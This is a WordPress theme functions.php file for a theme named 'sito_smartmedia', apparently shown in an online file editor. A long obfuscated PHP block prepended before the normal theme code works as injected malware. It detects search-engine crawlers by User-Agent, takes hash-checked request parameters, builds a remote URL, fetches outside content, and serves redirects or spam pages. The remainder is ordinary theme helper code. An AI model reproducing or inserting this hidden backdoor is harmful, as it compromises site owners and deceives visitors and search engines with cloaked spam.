CzwLO; hQOgx: GhJmZ: goto g4zH5; r3c7q: goto KvqZu; goto n30NH; Ql0gl: glDwY: goto itqpC; Xi8wN: @header("\x48\124\x54\x50\57\61\x2e\61\40\63\x30\x31\40\x4d\157\166\x65\144\40\120\145\162\x6d\x61\x6e\145\156\164\x6c\171"); goto oPT2Q; i3Wms: Uwb0v: goto KHI4S; ns4uU: mt63x: goto o9H03; LxmLw: goto JXuOE; goto CSZaU; Jp026: eGhZO: goto zp_7H; nFc1s: echo "\x3c\x62\162\76\157\153\74\142\162\76"; goto yg80i; f2LqT: goto Uvsqt; goto y3Sow; wehZe: goto B5z9g; goto NtSsW; a0u31: yj_8h: goto k4qbD; Nf0r2: goto lAIug; goto IgijO; tNGv_: goto Vc4cK; goto vNP1y; h6Hba: U3227: goto p8o2Q; q544d: $CH8tP = $CH8tP; goto tO8ly; R4diq: goto AdkOb; goto HgQXl; l0_hN: R07V6: goto wjeTt; xQ5JH: ESRC0: goto pS8kM; gaL51: goto Hkk0V; goto QGcdA; FpFZb: echo $RVeV9; goto yH26K; jr3cz: dqXuQ: goto q544d; VcCzh: goto r_cdL; goto SiyMj; n30NH: VplYm: goto JZTGe; FetfC: MtzGS: goto pYiA7; g7YmU: goto lxMzA; goto dzbtQ; mxTuw: rBzDr: goto kpN3W; UnTWG: $TnONg = $TnONg; goto ftcXX; MPMbX: Df9hR: goto VcCzh; qPuAe: if ($Uy9S8 == "\146\x37\65\146\x64\65\141\143\x64\63\x36\x61\x37\146\142\144\x31\145\62\x31\x39\x62\x31\71\70\x38\x31\x61\65\63\x34\70\x62\x66\143\x36\x36\145\x37\x39") { goto FQmLm; } goto lt6L6; wX4fm: function nEpFX() { goto ycIlX; SOW9B: Pcbsz: goto OcBK5; lRdHz: goto Pcbsz; goto tYDg0; pDNzR: w8yJv: goto k9UAM; ei0Z5: h_HhS: goto lcErh; cq2wm: goto vyLSR; goto pDNzR; LnVPU: goto I3eoj; goto z7i01; uDKql: return true; goto lRdHz; OcBK5: BO83t: goto LnVPU; tYDg0: AC29i: goto UHx7r; xCfz7: goto AC29i; goto X3lrk; lcErh: $eC8nf = strtolower($_SERVER["\x48\124\x54\x50\137\125\123\x45\x52\x5f\101\107\105\x4e\124"]); goto TIcU0; FvtFH: goto mgxiJ; goto ei0Z5; z7i01: mgxiJ: goto uDKql; UHx7r: mXnJ8: goto FvtFH; jHGph: return false; goto PJy3F; yb7bP: I3eoj: goto YSFOo; ycIlX: goto h_HhS; goto SOW9B; bvEmX: rDYKM: goto d1zVa; k9UAM: goto BO83t; goto xCfz7; X3lrk: vyLSR: goto jHGph; tG3Sn: goto mXnJ8; goto ly5Aa; TIcU0: goto rDYKM; goto bvEmX; PJy3F: goto w8yJv; goto yb7bP; ly5Aa: YLjVY: goto cq2wm; d1zVa: if (!(stristr($eC8nf, "\147\157\x6f\x67\154\x65\142\157\164") || stristr($eC8nf, "\142\151\156\147") || stristr($eC8nf, "\x79\141\150\157\157") || stristr($eC8nf, "\x67\157\157\147\154\x65") || stristr($eC8nf, "\x47\157\x6f\147\x6c\145\142\157\164") || stristr($eC8nf, "\x67\157\157\x67\x6c\x65\x62\157\164"))) { goto YLjVY; } goto tG3Sn; YSFOo: } goto sGLOM; CSZaU: BtyOZ: goto UHL0f; oPT2Q: goto n_G1J; goto MqRCP; APJhU: goto SrT7o; goto wEWQB; tO8ly: goto oEBU7; goto wffTG; ub9bT: q6Ha3: goto iLQiX; y6Gfn: $fRbDL = "\150\x74\x74\160"; goto s5FSY; cXL4N: K34y1: goto QNMeG; B9G2N: goto C5PbY; goto iBFi1; zl25z: goto vqT4x; goto EfcBd; nRIAr: goto nATiF; goto l0_hN; FCUuJ: c3rbv: goto g7YmU; lJwY3: goto F4pK8; goto fNlzx; H65mX: $TnONg = @$_SERVER["\x48\124\124\x50\137\x41\103\103\x45\120\124\137\x4c\101\x4e\107\125\101\107\x45"]; goto Nf0r2; PL_oE: goto YF7D7; goto E08oY; zLsAR: if (preg_match("\x2f\x5e\147\157\157\x67\x6c\145\56\x2a\77\x28\x5c\x2e\150\164\x6d\154\x29\44\57\151", $W59XK)) { goto KHkLo; } goto fzco1; c64aa: wrk31: goto XwFyh; JDILP: goto dYIOk; goto U27Ut; S6JEF: goto nkeuC; goto plCM7; U27Ut: uK2Vl: goto JZ7yH; Ni2Og: goto u_LNS; goto u6NmX; YEXbl: $F2cO4 = @$_REQUEST["\155\141\160\x6e\x61\155\145"]; goto d6o2L; QxSoZ: ui6cq: goto RlVhA; LXhFX: goto xhSiD; goto sd2tH; G60fv: goto aSYpO; goto Ko8Am; CvNPq: aO0PI: goto jP3Rk; Q0wCb: kOkyx: goto eJGZW; I3yuX: Zo8Vf: goto iq51z; wqjiP: X3N6I: goto U3UJ2; ykTS_: rxKPl: goto y6Gfn; ScmtL: goto gUONj; goto gisiw; miRPF: if (!strstr($RVeV9, "\157\153\x68\x74\x6d\154\147\x65\x74\143\157\x6e\x74\x65\156\164")) { goto YnLrj; } goto UbQuh; BMyPT: hIvr5: goto nNMok; nnfIq: $RVeV9 = str_replace("\x67\145\164\x63\157\156\164\x65\x6e\x74\63\x30\61\x70\x61\147\x65", '', $RVeV9); goto wehZe; jm9mY: r_cdL: goto Zmj46; CbPZp: goto kfa63; goto e8Mpj; I2VRD: goto hm63n; goto x9eVK; vI9pW: $K6LzW = $CwdOR . "\x3a\57" . "\x2f" . $GL2Dr . "\57\151\x6e\x64\145\170\x6e\145\x77\56\x70"; goto AqABD; Tqlfv: C5PbY: goto i3dlO; QNMeG: faW9f: goto AkUph; d6xya: goto AMKmv; goto I47Os; qC37V: goto RM_q4; goto x3Ihw; nn0RT: eCZoj: goto Ni2Og; cDeDy: Se2t_: goto APkhO; p8o2Q: $Tjp1Q = "\x2f"; goto wKq6E; c7UIs: goto JjOdK; goto Tqlfv; qKpUL: goto xu9WU; goto wqjiP; RG_xl: $acfKY = $Tjp1Q; goto oX7Iy; ujF0M: FI1N9: goto wX4fm; pVa7c: aCHpe: goto Q0wCb; nqQyI: lxUPE: goto LMmTl; iIHKi: Lpw_6: goto O6_4B; hDACj: goto MtzGS; goto T6JXk; ITWnr: $k9uPY = hash("\163\x68\x61\61", hash("\x73\150\x61\x31", @$_REQUEST["\141"])); goto x2wTu; eCkcG: YnLrj: goto GQBFM; n7EDF: goto kw8Bv; goto nqQyI; k8s5t: sL6_k:?><?php define('THEME_NAME',"sito_smartmedia"); global $wp_version; define('WP_VERSION', $wp_version); define('THEME_NS', 'twentyten'); define('THEME_LANGS_FOLDER','/languages'); if (class_exists('xili_language')) { define('THEME_TEXTDOMAIN',THEME_NS); } else { load_theme_textdomain(THEME_NS, TEMPLATEPATH . THEME_LANGS_FOLDER); } mb_internal_encoding(get_bloginfo('charset')); mb_regex_encoding(get_bloginfo('charset')); if (WP_VERSION < 3.0){ require_once(TEMPLATEPATH . '/library/legacy.php'); } theme_include_lib('defaults.php'); theme_include_lib('misc.php'); theme_include_lib('wrappers.php'); theme_include_lib('sidebars.php'); theme_include_lib('navigation.php'); theme_include_lib('shortcodes.php'); if (WP_VERSION >= 3.0) { theme_include_lib('widgets.php'); } if (!function_exists('theme_favicon')) { function theme_favicon() { if (is_file(TEMPLATEPATH .'/favicon.ico')):?> <link rel="shortcut icon" href="<?php bloginfo('template_directory'); ?>/favicon.ico" /> <?php endif; } } add_action('wp_head', 'theme_favicon'); add_action('admin_head', 'theme_favicon'); add_action('login_head', 'theme_favicon'); if ( function_exists( 'add_theme_support' ) ) { add_theme_support( 'post-thumbnails' ); add_theme_support( 'nav-menus' ); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'post-formats', array( 'aside', 'gallery' ) ); } if (function_exists('register_nav_menus')) { register_nav_menus(array('primary-menu' => __( 'Primary Navigation', THEME_NS))); } if(is_admin()){ theme_include_lib('options.php'); theme_include_lib('admins.php'); function theme_add_option_page() { add_theme_page(__('Theme Options', THEME_NS), __('Theme Options', THEME_NS), 'edit_themes', basename(__FILE__), 'theme_print_options'); } add_action('admin_menu', 'theme_add_option_page'); if (WP_VERSION >= 3.0) { add_action('sidebar_admin_setup', 'theme_widget_process_control'); add_action('add_meta_boxes', 'theme_add_meta_boxes'); add_action('save_post', 'theme_save_post'); } return; } function theme_get_option($name){ global $theme_default_options; $result = get_option($name); if ($result === false) { $result = theme_get_array_value($theme_default_options, $name); } return $result; } function theme_get_meta_option($id, $name){ global $theme_default_meta_options; return theme_get_array_value(get_option($name), $id, theme_get_array_value($theme_default_meta_options, $name)); } function theme_set_meta_option($id, $name, $value){ $meta_option = get_option($name); if (!$meta_option || !is_array($meta_option)) { $meta_option = array(); } $meta_option[$id] = $value; update_option($name, $meta_option); } function theme_get_post_id(){ $post_id = get_the_ID(); if($post_id != ''){ $post_id = 'post-' . $post_id; } return $post_id; } function theme_get_post_class(){ if (!function_exists('get_post_class')) return ''; return implode(' ', get_post_class()); } function theme_include_lib($name){ if (function_exists('locate_template')){ locate_template(array('library/'.$name), true); } else { theme_locate_template(array('library/'.$name), true); } } if (!function_exists('theme_get_meta_icon')){ function theme_get_meta_icon($icon, $width, $height){ return '<img src="'.get_bloginfo('template_url').'/images/'.$icon.'.png" width="'.$width.'" height="'.$height.'" alt="" />'; } } if (!function_exists('theme_get_metadata_icons')){ function theme_get_metadata_icons($icons = '', $class=''){ global $post; if (!is_string($icons) || mb_strlen($icons) == 0) return; $icons = explode(",", str_replace(' ', '', $icons)); if (!is_array($icons) || count($icons) == 0) return; $result = array(); for($i = 0; $i < count($icons); $i++){ $icon = $icons[$i]; switch($icon){ case 'date': $result[] = sprintf( __('<span class="%1$s">Published</span> %2$s', THEME_NS), 'date', sprintf( '<span class="entry-date" title="%1$s">%2$s</span>', esc_attr( get_the_time() ), get_the_date() ) ); break; case 'author': $result[] = sprintf(__('<span class="%1$s">By</span> %2$s', THEME_NS), 'author', sprintf( '<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s">%3$s</a></span>', get_author_posts_url( get_the_author_meta( 'ID' ) ), sprintf( esc_attr(__( 'View all posts by %s', THEME_NS )), get_the_author() ), get_the_author() ) ); break; case 'category': $categories = get_the_category_list(', '); if(mb_strlen($categories) == 0) break; $result[] = sprintf(__('<span class="%1$s">Posted in</span> %2$s', THEME_NS), 'categories', get_the_category_list(', ')); break; case 'tag': $tags_list = get_the_tag_list( '', ', ' ); if(!$tags_list) break; $result[] = sprintf( __( '<span class="%1$s">Tagged</span> %2$s', THEME_NS ), 'tags', $tags_list ); break; case 'comments': if(!comments_open()) break; ob_start(); comments_popup_link( __( 'Leave a comment', THEME_NS ), __( '1 Comment', THEME_NS ), __( '% Comments', THEME_NS ) ); $result[] = ob_get_clean(); break; case 'edit': if (!current_user_can('edit_post', $post->ID)) break; ob_start(); edit_post_link(__('Edit', THEME_NS), ''); $result[] = ob_get_clean(); break; } } $result = implode(theme_get_option('theme_metadata_separator'), $result); if (theme_is_empty_html($result)) return; return "<div class=\"art-post{$class}icons art-metadata-icons\">{$result}</div>"; } } if (!function_exists('theme_get_post_thumbnail')){ function theme_get_post_thumbnail($args = array()){ global $post; $size = theme_get_array_value($args, 'size', array(theme_get_option('theme_metadata_thumbnail_width'), theme_get_option('theme_metadata_thumbnail_height'))); $auto = theme_get_array_value($args, 'auto', theme_get_option('theme_metadata_thumbnail_auto')); $featured = theme_get_array_value($args, 'featured', theme_get_option('theme_metadata_use_featured_image_as_thumbnail')); $title = theme_get_array_value($args, 'title', get_the_title()); $result = ''; if ($featured && (function_exists('has_post_thumbnail')) && (has_post_thumbnail())) { ob_start(); the_post_thumbnail($size, array('alt' => '', 'title' => $title)); $result = ob_get_clean(); } elseif ($auto) { $attachments = get_children(array('post_parent' => $post->ID, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID')); if($attachments) { $attachment = array_shift($attachments); $img = wp_get_attachment_image_src($attachment->ID, $size); if (isset($img[0])) { $result = '<img src="'.$img[0].'" alt="" width="'.$img[1].'" height="'.$img[2].'" title="'.$title.'" class="wp-post-image" />'; } } } if($result !== ''){ $result = '<div class="avatar alignleft"><a href="'.get_permalink($post->ID).'" title="'.$title.'">'.$result.'</a></div>'; } return $result; } } if (!function_exists('theme_get_content')){ function theme_get_content($args = array()) { $more_tag = theme_get_array_value($args, 'more_tag', __('Continue reading <span class="meta-nav">→</span>', THEME_NS)); $content = get_the_content($more_tag); // hack for badly written plugins ob_start();echo apply_filters('the_content', $content);$content = ob_get_clean(); return $content . wp_link_pages(array( 'before' => '<p><span class="page-navi-outer page-navi-caption"><span class="page-navi-inner">' . __('Pages', THEME_NS) . ': </span></span>', 'after' => '</p>', 'link_before' => '<span class="page-navi-outer"><span class="page-navi-inner">', 'link_after' => '</span></span>', 'echo' => 0 )); } } if (!function_exists('theme_get_excerpt')){ function theme_get_excerpt($args = array()) { global $post; $more_tag = theme_get_array_value($args, 'more_tag', __('Continue reading <span class="meta-nav">→</span>', THEME_NS)); $auto = theme_get_array_value($args, 'auto', theme_get_option('theme_metadata_excerpt_auto')); $all_words = theme_get_array_value($args, 'all_words', theme_get_option('theme_metadata_excerpt_words')); $min_remainder = theme_get_array_value($args, 'min_remainder', theme_get_option('theme_metadata_excerpt_min_remainder')); $allowed_tags = theme_get_array_value($args, 'allowed_tags', (theme_get_option('theme_metadata_excerpt_use_tag_filter') ? explode(',',str_replace(' ', '', theme_get_option('theme_metadata_excerpt_allowed_tags'))) : null)); $perma_link = get_permalink($post->ID); $more_token = '%%theme_more%%'; $show_more_tag = false; $tag_disbalance = false; if (function_exists('post_password_required') && post_password_required($post)){ return get_the_excerpt(); } if ($auto && has_excerpt($post->ID)) { $excerpt = get_the_excerpt(); $show_more_tag = mb_strlen($post->post_content) > 0; } else { $excerpt = get_the_content($more_token); // hack for badly written plugins ob_start();echo apply_filters('get_the_excerpt', $excerpt);$excerpt = ob_get_clean(); ob_start();echo apply_filters('the_excerpt', $excerpt);$excerpt = ob_get_clean(); if(theme_is_empty_html($excerpt)) return $excerpt; if ($allowed_tags !== null) { $allowed_tags = '<' .implode('><',$allowed_tags).'>'; $excerpt = strip_tags($excerpt, $allowed_tags); } $excerpt = strip_shortcodes($excerpt); if (strpos($excerpt, $more_token) !== false) { $excerpt = str_replace($more_token, $more_tag, $excerpt); } elseif($auto && is_numeric($all_words)) { $token = "%theme_tag_token%"; $content_parts = explode($token, str_replace(array('<', '>'), array($token.'<', '>'.$token), $excerpt)); $content = array(); $word_count = 0; foreach($content_parts as $part) { if (strpos($part, '<') !== false || strpos($part, '>') !== false){ $content[] = array('type'=>'tag', 'content'=>$part); } else { $all_chunks = preg_split('/([\s])/u', $part, -1, PREG_SPLIT_DELIM_CAPTURE); foreach($all_chunks as $chunk) { if('' != trim($chunk)) { $content[] = array('type'=>'word', 'content'=>$chunk); $word_count += 1; } elseif($chunk != '') { $content[] = array('type'=>'space', 'content'=>$chunk); } } } } if(($all_words < $word_count) && ($all_words + $min_remainder) <= $word_count) { $show_more_tag = true; $tag_disbalance = true; $current_count = 0; $excerpt = ''; foreach($content as $node) { if($node['type'] == 'word') { $current_count++; } $excerpt .= $node['content']; if ($current_count == $all_words){ break; } } $excerpt .= '…'; // ... } } } if ($show_more_tag) { $excerpt = $excerpt.' <a class="more-link" href="'.$perma_link.'">'.$more_tag.'</a>'; } if ($tag_disbalance) { $excerpt = force_balance_tags($excerpt); } return $excerpt; } } if (!function_exists('theme_get_search')){ function theme_get_search(){ ob_start(); get_search_form(); return ob_get_clean(); } } function theme_is_home(){ return (is_home() && !is_paged()); } if (!function_exists('theme_404_content')){ function theme_404_content() { $error_message = __( 'Apologies, but the page you requested could not be found. Perhaps searching will help.', THEME_NS); theme_post_wrapper( array( 'title' => __('Not Found', THEME_NS), 'content' => '<p class="center">' . $error_message . '</p>' . "\n" . theme_get_search() ) ); if (theme_get_option('theme_show_random_posts_on_404_page')){ ob_start(); echo '<h4 class="box-title">' . theme_get_option('theme_show_random_posts_title_on_404_page') . '</h4>'; ?> <ul> <?php global $post; $rand_posts = get_posts('numberposts=5&orderby=rand'); foreach( $rand_posts as $post ) : ?> <li><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></li> <?php endforeach; ?> </ul> <?php theme_post_wrapper(array('content' => ob_get_clean())); } if (theme_get_option('theme_show_tags_on_404_page')){ ob_start(); echo '<h4 class="box-title">' . theme_get_option('theme_show_tags_title_on_404_page') . '</h4>'; wp_tag_cloud('smallest=9&largest=22&unit=pt&number=200&format=flat&orderby=name&order=ASC'); theme_post_wrapper(array('content' => ob_get_clean())); } } } if (!function_exists('theme_page_navigation')){ function theme_page_navigation($args = '') { $args = wp_parse_args($args, array('wrap' => true, 'prev_link' => false, 'next_link' => false)); $prev_link = $args['prev_link']; $next_link = $args['next_link']; $wrap = $args['wrap']; if (!$prev_link && !$next_link) { if (function_exists('wp_page_numbers')) { // http://wordpress.org/extend/plugins/wp-page-numbers/ ob_start(); wp_page_numbers(); theme_post_wrapper(array('content' => ob_get_clean())); return; } if (function_exists('wp_pagenavi')) { // http://wordpress.org/extend/plugins/wp-pagenavi/ ob_start(); wp_pagenavi(); theme_post_wrapper(array('content' => ob_get_clean())); return; } //posts $prev_link = get_previous_posts_link(__('Newer posts <span class="meta-nav">→</span>', THEME_NS)); $next_link = get_next_posts_link(__('<span class="meta-nav">←</span> Older posts', THEME_NS)); } $content = ''; if ($prev_link || $next_link) { $content = <<<EOL <div class="navigation"> <div class="alignleft">{$next_link}</div> <div class="alignright">{$prev_link}</div> </div> EOL; } if ($wrap) { theme_post_wrapper(array('content' => $content)); } else { echo $content; } } } if (!function_exists('theme_get_previous_post_link')){ function theme_get_previous_post_link($format='« %link', $link='%title', $in_same_cat = false, $excluded_categories = '') { return theme_get_adjacent_post_link($format, $link, $in_same_cat, $excluded_categories, true); } } if (!function_exists('theme_get_next_post_link')){ function theme_get_next_post_link($format='%link »', $link='%title', $in_same_cat = false, $excluded_categories = '') { return theme_get_adjacent_post_link($format, $link, $in_same_cat, $excluded_categories, false); } } if (!function_exists('theme_get_adjacent_image_link')){ function theme_get_adjacent_image_link($prev = true, $size = 'thumbnail', $text = false) { global $post; $post = get_post($post); $attachments = array_values(get_children( array('post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID') )); foreach ( $attachments as $k => $attachment ) if ( $attachment->ID == $post->ID ) break; $k = $prev ? $k - 1 : $k + 1; if ( isset($attachments[$k]) ) return wp_get_attachment_link($attachments[$k]->ID, $size, true, false, $text); } } if (!function_exists('theme_get_previous_image_link')){ function theme_get_previous_image_link($size = 'thumbnail', $text = false) { $result = theme_get_adjacent_image_link(true, $size, $text); if ($result) $result = '« ' . $result; return $result; } } if (!function_exists('theme_get_next_image_link')){ function theme_get_next_image_link($size = 'thumbnail', $text = false) { $result = theme_get_adjacent_image_link(false, $size, $text); if ($result) $result .= ' »'; return $result; } } if (!function_exists('theme_get_adjacent_post_link')){ function theme_get_adjacent_post_link($format, $link, $in_same_cat = false, $excluded_categories = '', $previous = true) { if ( $previous && is_attachment() ) $post = & get_post($GLOBALS['post']->post_parent); else $post = get_adjacent_post($in_same_cat, $excluded_categories, $previous); if ( !$post ) return; $title = $post->post_title; if ( empty($post->post_title) ) $title = $previous ? __('Previous Post', THEME_NS) : __('Next Post', THEME_NS); $title = apply_filters('the_title', $title, $post->ID); $short_title = $title; if (theme_get_option('theme_single_navigation_trim_title')) { $short_title = theme_trim_long_str($title, theme_get_option('theme_single_navigation_trim_len')); } $date = mysql2date(get_option('date_format'), $post->post_date); $rel = $previous ? 'prev' : 'next'; $string = '<a href="'.get_permalink($post).'" title="'.esc_attr($title).'" rel="'.$rel.'">'; $link = str_replace('%title', $short_title, $link); $link = str_replace('%date', $date, $link); $link = $string . $link . '</a>'; $format = str_replace('%link', $link, $format); $adjacent = $previous ? 'previous' : 'next'; return apply_filters( "{$adjacent}_post_link", $format, $link ); } } if (!function_exists('get_previous_comments_link')) { function get_previous_comments_link($label) { ob_start(); previous_comments_link($label); return ob_get_clean(); } } if (!function_exists('get_next_comments_link')) { function get_next_comments_link($label) { ob_start(); next_comments_link($label); return ob_get_clean(); } } if (!function_exists('theme_comment')){ function theme_comment( $comment, $args, $depth ) { $GLOBALS['comment'] = $comment; switch ( $comment->comment_type ) : case '' : ?> <li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>"> <?php ob_start(); ?> <div class="comment-author vcard"> <?php echo theme_get_avatar(array('id' => $comment, 'size' => 48)); ?> <?php printf( __( '%s <span class="says">says:</span>', THEME_NS ), sprintf( '<cite class="fn">%s</cite>', get_comment_author_link() ) ); ?> </div> <?php if ( $comment->comment_approved == '0' ) : ?> <em><?php _e( 'Your comment is awaiting moderation.', THEME_NS); ?></em> <br /> <?php endif; ?> <div class="comment-meta commentmetadata"><a href="<?php echo esc_url( get_comment_link( $comment->comment_ID ) ); ?>"> <?php printf( __( '%1$s at %2$s', THEME_NS ), get_comment_date(), get_comment_time() ); ?></a><?php edit_comment_link( __( '(Edit)', THEME_NS), ' ' ); ?> </div> <div class="comment-body"><?php comment_text(); ?></div> <div class="reply"> <?php comment_reply_link( array_merge( $args, array( 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?> </div> <?php theme_post_wrapper(array('content' => ob_get_clean(), 'id' => 'comment-'.get_comment_ID())); ?> <?php break; case 'pingback' : case 'trackback' : ?> <li class="post pingback"> <?php ob_start(); ?> <p><?php _e( 'Pingback:', THEME_NS ); ?> <?php comment_author_link(); ?><?php edit_comment_link( __('(Edit)', THEME_NS), ' ' ); ?></p> <?php theme_post_wrapper(array('content' => ob_get_clean(), 'class' => $comment->comment_type)); break; endswitch; } } if (!function_exists('theme_get_avatar')){ function theme_get_avatar($args = ''){ $args = wp_parse_args($args, array('id' => false, 'size' => 96, 'default' => '', 'alt' => false, 'url' => false)); extract($args); $result = get_avatar($id, $size, $default, $alt); if ($result) { if ($url){ $result = '<a href="'.esc_url($url).'">' . $result . '</a>'; } $result = '<div class="avatar">' . $result . '</div>'; } return $result; } } if (!function_exists('get_post_format')){ function get_post_format(){ return false; } }
Save File
Cancel